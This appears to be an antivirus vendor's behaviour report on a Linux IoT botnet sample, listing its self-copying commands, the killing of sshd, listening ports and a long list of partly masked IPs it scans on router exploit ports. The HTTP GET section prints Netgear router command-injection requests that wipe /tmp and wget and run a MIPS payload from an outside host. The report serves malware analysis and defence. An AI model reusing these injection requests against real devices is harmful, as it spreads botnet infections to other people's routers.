Linux.Packed.463

Technical Information

Malicious functions:

Removes itself

Launches itself as a daemon

Substitutes application name for:

/sbin/developer

Launches processes:

sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /var/tmp/
/bin/busybox cp <SAMPLE_FULL_PATH> /var/tmp/
sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /tmp/
/bin/busybox cp <SAMPLE_FULL_PATH> /tmp/
sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /bin/
/bin/busybox cp <SAMPLE_FULL_PATH> /bin/

Kills system processes:

sshd

Performs operations with the file system:

Creates or modifies files:

/var/tmp/<SAMPLE>
/tmp/<SAMPLE>
/bin/<SAMPLE>

Network activity:

Awaits incoming connections on ports:

127.0.0.1:19971
0.0.0.0:23
0.0.0.0:22
0.0.0.0:80
0.0.0.0:81
0.0.0.0:8443
0.0.0.0:9009

Establishes connection:

8.#.8.8:53
1.#.1.1:53
35.##8.74.19:17
20#.##5.90.232:8080
18#.###.246.158:8080
18#.##.111.232:8080
20#.##.105.113:8080
18#.##9.18.160:8080
18#.##.6.72:8080
21#.##5.90.232:80
5.###.246.158:80
18#.##.111.232:80
18#.##.105.113:80
78.###.18.160:80
88.##.6.72:80
34.##.200.54:52869
48.###.208.91:52869
15#.##.198.183:52869
23#.###.44.218:52869
13.##.151.140:52869
17#.##.243.113:52869
20#.##2.16.61:52869
20#.##.149.237:52869
11#.##8.25.29:52869
70.###.54.94:52869
23#.##2.44.218:8080
23#.##2.44.218:80
34.##.200.54:8080
48.###.208.91:8080
13.##.151.140:8080
70.###.54.94:8080
11#.##8.25.29:8080
15#.##.198.183:8080
20#.##.149.237:8080
17#.##.243.113:8080
20#.##2.16.61:8080
15#.##.198.183:37215
23#.###.44.218:37215
13.##.151.140:37215
34.##.200.54:37215
48.###.208.91:37215
10#.##.72.15:7574
10#.#5.72.15:80
10#.#5.72.15:81
14#.##4.192.193:80
14#.###.192.193:49152
14#.###.192.193:8443
19#.##5.56.117:8080
20#.###.149.111:8080
18#.###.131.117:8080
18#.##4.250.74:8080
18#.##1.73.31:8080
20#.##.10.221:8080
18#.###.183.130:8080
34.##.200.54:80
48.###.208.91:80
70.##9.54.94:80
11#.##8.25.29:80
20#.##.149.237:80
13.##.151.140:80
15#.##.198.183:80
17#.##.243.113:80
20#.##2.16.61:80
62.###.131.117:80
17#.##3.149.111:80
2.##.10.221:80
11#.##4.250.74:80
37.##1.73.31:80
21#.##3.183.130:80
21#.###.117.203:52869
57.###.183.130:52869
18#.##.46.10:52869
17#.###.184.250:52869
11#.##1.73.31:52869
11#.##.252.146:52869
19#.###.56.117:52869
50.##.136.201:52869
56.###.151.40:52869
6.###.107.1:52869
10#.##.72.15:5555
25.###.8.156:8080
11#.##2.116.58:8080
16#.###.151.229:8080
23#.##.176.162:8080
18#.##2.232.91:8080
13#.##.184.199:8080
51.##.122.180:8080
23#.##.164.80:8080
23#.##.164.80:80
18.##.176.41:8080
14#.###.195.244:8080
23#.##.176.162:80
25.###.8.156:37215
13#.##.184.199:37215
23#.##.164.80:37215
18.##.176.41:37215
14#.###.195.244:37215
18.##.176.41:7574
65.##.40.220:80
65.##.40.220:81
11#.###.32.144:49152
11#.##9.32.144:8443
11#.##9.32.144:8080
18#.##.172.1:8080
20#.###.192.109:8080
20#.##.248.231:8080
20#.##.163.83:8080
18#.##1.99.115:8080
18#.##.141.118:8080
25.##1.8.156:80
11#.##2.116.58:80
16#.##2.151.229:80
18#.##2.232.91:80
13#.##.184.199:80
18.##.176.41:80
51.##.122.180:80
14#.##4.195.244:80
82.##.248.231:80
14#.##3.192.109:80
84.###.99.115:80
62.##.163.83:80
5.##.172.1:80
62.##.141.118:80
15#.##.248.231:52869
14#.###.10.163:52869
12#.##2.1.183:52869
75.###.101.99:52869
97.##.141.118:52869
11#.##.88.175:52869
16#.##.151.67:52869
14.###.154.159:52869
19.##.96.233:52869
74.##.170.47:52869
18.##.176.41:5555
11#.##.73.1:8080
19#.###.128.234:8080
55.###.239.221:8080
31.###.189.12:8080
11#.##2.78.215:8080
21#.##.16.246:8080
41.##.195.179:8080
12#.###.154.221:8080
25.##.210.9:8080
19#.##.93.68:8080
21#.##.16.246:37215
19#.###.128.234:37215
11#.##.73.1:37215
41.##.195.179:37215
55.###.239.221:37215
21#.##.16.246:7574
21#.##.16.246:80
35.###.135.170:81
35.###.135.170:80
35.###.135.170:49152
87.###.0.94:8443
87.###.0.94:8080
20#.##8.34.170:8080
18#.##4.82.146:8080
20#.###.160.183:8080
20#.##.105.178:8080
20#.##8.119.43:8080
18#.##6.43.74:8080
11#.#8.73.1:80
19#.##0.128.234:80
31.###.189.12:80
11#.##2.78.215:80
41.##.195.179:80
55.###.239.221:80
12#.##0.154.221:80
25.##.210.9:80
19#.#1.93.68:80
21#.##9.190.72:80
42.###.185.203:80
88.##.213.13:80
14#.##3.109.233:80
31.###.204.28:80
88.###.208.205:80
77.###.208.205:52869
21#.###.145.204:52869
25.###.13.163:52869
11#.###.229.190:52869
13#.##.119.18:52869
17.###.185.203:52869
20#.###.156.150:52869
10#.##.75.148:52869
31.###.85.84:52869
11#.##5.50.77:52869
21#.##.16.246:5555
25.###.13.163:8080
17.###.185.203:8080
21#.###.145.204:8080
13#.##.119.18:8080
11#.###.229.190:8080
10#.##.75.148:8080
31.###.85.84:8080
11#.##5.50.77:8080
77.###.208.205:8080
20#.###.156.150:8080
11#.##5.50.77:80
21#.###.10.228:37215
17#.##8.80.31:37215
16#.###.92.132:37215
18#.###.238.196:37215
19#.###.156.70:37215
18#.###.238.196:7574
18#.##7.238.196:80
1.###.103.120:81
1.###.103.120:80
1.###.103.120:49152
52.##.222.44:8443
52.##.222.44:8080
20#.##.227.143:8080
18#.##.187.59:8080
20#.##8.77.40:8080
20#.##2.85.86:8080
20#.###.170.151:8080
20#.##2.17.32:8080
25.###.13.163:80
17.###.185.203:80
21#.##3.145.204:80
13#.##.119.18:80
11#.##2.229.190:80
10#.##.75.148:80
31.##0.85.84:80
77.###.208.205:80
20#.##2.156.150:80
21#.##2.85.86:80
19#.##7.170.151:80
42.##2.17.32:80
21#.##.187.59:80
42.##8.77.40:80
62.##.227.143:80
16#.###.153.143:52869
11#.##.250.176:52869
11#.###.189.53:52869
58.##.149.37:52869
11#.##.13.106:52869
78.##.193.88:52869
10#.##.87.223:52869
16#.###.159.142:52869
12#.#.109.249:52869
40.##.74.61:52869
18#.###.238.196:5555
16#.###.153.143:8080
11#.##.250.176:8080
11#.##1.189.53:8080
11#.##.13.106:8080
16#.###.159.142:8080
78.##.193.88:8080
10#.##.87.223:8080
58.##.149.37:8080
12#.#.109.249:8080
40.##.74.61:8080
11#.###.189.53:37215
16#.###.153.143:37215
11#.##.250.176:37215
10#.##.87.223:37215
78.##.193.88:37215
11#.##.250.176:80
15#.###.206.146:7574
15#.##2.206.146:80
15#.##2.206.146:81
20#.#6.71.70:80
20#.##.71.70:49152
20#.##.71.70:8443
22.##.190.249:8080
20#.##.36.227:8080
18#.###.168.229:8080
20#.##8.121.38:8080
20#.###.107.251:8080
20#.##.44.21:8080
18#.##.126.225:8080
16#.##4.153.143:80
11#.##.13.106:80
16#.##1.159.142:80
78.##.193.88:80
11#.##1.189.53:80
58.##.149.37:80
12#.#.109.249:80
40.##.74.61:80
41.###.121.38:80
14#.##.36.227:80
89.###.168.229:80
62.##.126.225:80
14#.##5.107.251:80
89.##.44.21:80
15#.###.225.128:52869
13.###.107.251:52869
44.##.95.36:52869
10#.###.168.229:52869
11#.##.240.97:52869
22#.##6.39.44:52869
22.##.190.249:52869
18.###.161.72:52869
20#.##0.230.6:52869
10#.###.193.204:52869
15#.###.206.146:5555
20#.##2.187.21:8080
42.###.158.241:8080
70.###.55.173:8080
23.###.106.158:8080
38.##.217.251:8080
11#.##.103.8:8080
12#.##.162.6:8080
72.##.37.251:8080
15#.##.15.95:8080
52.###.63.39:8080
72.##.37.251:37215
20#.###.187.21:37215
23.###.106.158:37215
70.###.55.173:37215
42.###.158.241:37215
70.###.55.173:7574
12#.##7.174.97:80
12#.##7.174.97:81
17#.##1.39.20:49152
17#.##1.39.20:8443
17#.##1.39.20:8080
18#.##.235.61:8080
18#.##.13.14:8080
20#.##8.37.36:8080
20#.##.40.110:8080
20#.#.173.223:8080
20#.#.197.137:8080
20#.##2.187.21:80
42.###.158.241:80
70.###.55.173:80
23.###.106.158:80
38.##.217.251:80
11#.#2.103.8:80
12#.#4.162.6:80
72.##.37.251:80
15#.#6.15.95:80
52.##0.63.39:80
37.##8.37.36:80
11#.##.40.110:80
10#.#.173.223:80
37.#.197.137:80
1.##.13.14:80
41.##.235.61:80
85.##.235.61:52869
18#.##.12.13:52869
56.##.110.108:52869
10#.#.173.223:52869
19#.##.4.197:52869
22#.###.158.199:52869
11#.###.202.126:52869
21#.##.164.191:52869
23#.##8.8.235:52869
11#.###.182.54:52869
70.###.55.173:5555
21#.##.49.231:8080
75.##.253.248:8080
5.###.122.140:8080
15#.##.150.7:8080
22.###.29.83:8080
12#.##3.66.37:8080
86.##.165.253:8080
17#.##9.48.196:8080
61.##.52.144:8080
39.###.23.123:8080
21#.##.49.231:37215
75.##.253.248:37215
5.###.122.140:37215
39.###.23.123:37215
15#.##.150.7:37215
39.###.23.123:7574
91.###.142.47:80
91.###.142.47:81
91.###.142.47:49152
13#.##6.7.226:8443
13#.##6.7.226:8080
18#.##.6.97:8080
18#.##.250.44:8080
20#.###.166.183:8080
18#.##4.158.44:8080
18#.##2.153.97:8080
20#.##.254.254:8080
21#.##.49.231:80
75.##.253.248:80
15#.#9.150.7:80
22.##0.29.83:80
12#.##3.66.37:80
17#.##9.48.196:80
61.##.52.144:80
5.###.122.140:80
39.###.23.123:80
86.##.165.253:80
31.##.80.160:80
14#.##.117.182:80
1.###.81.122:80
2.###.238.196:80
82.###.96.127:80
78.##3.48.21:80
19#.##.122.88:52869
20#.###.238.196:52869
15#.###.223.96:52869
19#.###.126.149:52869
12#.##.38.28:52869
65.###.48.21:52869
85.###.56.117:52869
22.###.169.81:52869
12#.###.171.32:52869
17#.###.167.183:52869
39.###.23.123:5555
20#.###.238.196:8080
19#.##.122.88:8080
15#.##1.223.96:8080
85.###.56.117:8080
65.###.48.21:8080
12#.##.38.28:8080
17#.###.167.183:8080
22.###.169.81:8080
12#.##6.171.32:8080
19#.###.126.149:8080
12#.##6.171.32:80
11#.###.189.211:37215
61.##.67.239:37215
16#.###.190.221:37215
20#.##5.86.38:37215
9.###.246.73:37215
9.###.246.73:7574
9.###.246.73:80
56.###.110.252:81
56.###.110.252:80
56.###.110.252:49152
10#.###.102.176:8443
10#.###.102.176:8080
18#.##.49.222:8080
18#.###.100.213:8080
20#.##6.67.86:8080
20#.###.207.194:8080
20#.##.95.16:8080
20#.##6.52.86:8080
20#.##4.238.196:80
19#.##.122.88:80
15#.##1.223.96:80
85.###.56.117:80
12#.#6.38.28:80
17#.##5.167.183:80
22.###.169.81:80
19#.##5.126.149:80
65.##3.48.21:80
5.###.252.158:80
5.###.222.95:80
89.##.116.107:80
19#.##.175.41:80
10#.##7.249.243:80
17#.##1.122.6:80
22#.###.100.222:52869
45.##.116.107:52869
99.###.6.195:52869
12#.##.187.249:52869
16#.###.221.99:52869
67.##.175.41:52869
13#.###.170.174:52869
12#.##4.0.57:52869
46.###.203.182:52869
14#.##9.160.9:52869
9.###.246.73:5555
22#.###.100.222:8080
22#.##8.100.222:80
12#.##4.0.57:8080
99.###.6.195:8080
67.##.175.41:8080
12#.##.187.249:8080
16#.##0.221.99:8080
45.##.116.107:8080
46.###.203.182:8080
13#.###.170.174:8080
14#.##9.160.9:8080
45.##.116.107:80
20.##.73.191:37215
34.##.0.66:37215
17#.##.50.192:37215
20#.##4.85.23:37215
20#.###.112.88:37215
20#.##4.85.23:7574
20#.##4.85.23:80
20#.##4.85.23:81
26.###.205.202:80
26.###.205.202:49152
26.###.205.202:8443
78.###.69.126:8080
18#.##.221.220:8080
20#.##.248.79:8080
18#.#.205.254:8080
20#.###.160.243:8080
20#.###.205.203:8080
20#.##.135.45:8080
12#.#54.0.57:80
99.##2.6.195:80
67.##.175.41:80
12#.##.187.249:80
16#.##0.221.99:80
46.###.203.182:80
13#.##3.170.174:80
14#.##9.160.9:80
95.##.221.220:80
78.#.205.254:80
78.##.135.45:80
62.##.248.79:80
95.###.160.243:80
19#.##0.205.203:80
8.###.146.176:52869
16#.###.240.13:52869
12#.##.17.71:52869
30.###.56.194:52869
12#.###.218.214:52869
90.###.46.38:52869
86.###.151.148:52869
12#.###.189.50:52869
74.###.108.28:52869
15#.###.150.115:52869
20#.##4.85.23:5555
8.###.146.176:8080
16#.##3.240.13:8080
30.###.56.194:8080
12#.###.218.214:8080
90.###.46.38:8080
86.###.151.148:8080
12#.##8.189.50:8080
12#.##.17.71:8080
74.###.108.28:8080
15#.###.150.115:8080
12#.##.17.71:37215
8.###.146.176:37215
16#.###.240.13:37215
86.###.151.148:37215
12#.###.189.50:37215
17#.##9.53.228:7574
17#.##9.53.228:80
74.###.108.28:80
17#.##9.53.228:81
22#.##8.173.152:80
22#.###.173.152:49152
22#.###.173.152:8443
22#.###.173.152:8080
8.###.146.176:80
16#.##3.240.13:80
30.###.56.194:80
12#.##8.218.214:80
90.##2.46.38:80
86.###.151.148:80
12#.##8.189.50:80
15#.##6.150.115:80
17#.##9.53.228:5555
18#.##1.12.210:8080
18#.##1.31.0:8080
18#.##4.240.35:8080
20#.##4.151.10:8080
20#.##.164.134:8080
18#.###.182.159:8080
88.###.12.210:80
14#.#21.31.0:80
88.###.240.35:80
91.###.151.10:80
95.##.164.134:80
11#.##5.182.159:80
17.###.151.10:52869
13#.###.205.37:52869
23#.###.184.240:52869
11#.##.164.134:52869
13#.###.145.182:52869
18#.###.196.181:52869
17#.##.0.101:52869
22#.###.202.216:52869
55.##.56.198:52869
18.##.109.63:52869
18#.###.200.159:8080
20#.##6.67.106:8080
93.##.194.223:8080
84.###.244.31:8080
17#.##1.8.124:8080
0.##.#0.105:8080
0.##.60.105:80
13#.##.69.76:8080
16#.##.57.132:8080
17#.##.242.178:8080
19#.###.106.153:8080
16#.##.57.132:80
84.###.244.31:37215
17#.##1.8.124:37215
0.##.#0.105:37215
20#.###.67.106:37215
93.##.194.223:37215
0.##.#0.105:7574
0.##.#0.105:5555
47.###.180.157:80
47.###.180.157:81
99.###.44.81:49152
99.###.44.81:8443
99.###.44.81:8080
18#.##.236.145:8080
20#.##2.157.72:8080
18#.##1.150.81:8080
18#.##7.223.66:8080
20#.##7.170.75:8080
20#.##8.10.119:8080
18#.##5.200.159:80
93.##.194.223:80
84.###.244.31:80
17#.##1.8.124:80
20#.##6.67.106:80
13#.#1.69.76:80
17#.##.242.178:80
19#.##2.106.153:80
1.##.184.208:80
37.###.89.204:80
42.##.219.97:80
1.###.102.106:80
21#.##9.80.148:80
91.##7.72.11:80
81.##.11.81:52869
21#.###.102.106:52869
94.##.109.80:52869
15#.##.36.5:52869
13#.###.228.89:52869
23#.##.219.97:52869
13#.###.41.194:52869
19.##.236.62:52869
13.##.59.62:52869
26.###.98.41:52869
81.##.11.81:8080
13#.##8.228.89:8080
23#.##.219.97:8080
13#.##9.41.194:8080
21#.###.102.106:8080
94.##.109.80:8080
15#.##.36.5:8080
23#.##.219.97:80
19.##.236.62:8080
13.##.59.62:8080
26.###.98.41:8080
11#.###.111.211:37215
23#.###.78.203:37215
18#.###.182.131:37215
19#.##.155.183:37215
14#.###.228.23:37215
19#.##.155.183:7574
19#.##.155.183:80
17.###.20.107:81
17.###.20.107:80
17.###.20.107:49152
69.##.139.31:8443
69.##.139.31:8080
20#.##.237.35:8080
18#.###.199.107:8080
18#.##.152.14:8080
20#.##8.198.84:8080
20#.##3.87.54:8080
20#.##0.36.108:8080
81.##.11.81:80
13#.##8.228.89:80
21#.##8.102.106:80
94.##.109.80:80
15#.#5.36.5:80
19.##.236.62:80
26.##5.98.41:80
13.##.59.62:80
82.###.31.184:80
19#.##.194.117:80
21#.##.227.205:80
18#.##3.113.151:80
95.##.234.137:80
18#.##.167.79:80
21#.###.151.61:52869
80.##.167.79:52869
40.###.17.194:52869
21#.###.31.184:52869
13#.##3.3.223:52869
20#.##4.62.54:52869
58.###.74.234:52869
11#.##.4.210:52869
39.##.214.18:52869
43.##.141.163:52869
19#.##.155.183:5555
21#.##3.151.61:8080
40.###.17.194:8080
21#.##2.31.184:8080
13#.##3.3.223:8080
20#.##4.62.54:8080
11#.##.4.210:8080
80.##.167.79:8080
58.###.74.234:8080
43.##.141.163:8080
39.##.214.18:8080
16.##.28.60:37215
13#.##.218.183:37215
44.#.#47.104:37215
10#.###.65.176:37215
16#.###.123.133:37215
16#.###.123.133:7574

HTTP GET requests:

http://###.##.##.#########.#####################.##g&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://blogentry.cf/mips+-O+/tmp/netgear;sh+netgear+netgear&curpath=/&currentsetting.htm=1
http://###.##.##.########.#####################.###&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://blogentry.cf/mips+-O+/tmp/netgear;sh+netgear+netgear&curpath=/&currentsetting.htm=1
http://###.###.##.#########.#####################.#fg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://blogentry.cf/mips+-O+/tmp/netgear;sh+netgear+netgear&curpath=/&currentsetting.htm=1

DNS ASK:

sh####.mashiro.tk

Sends data to the following servers:

35.##8.74.19:17

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations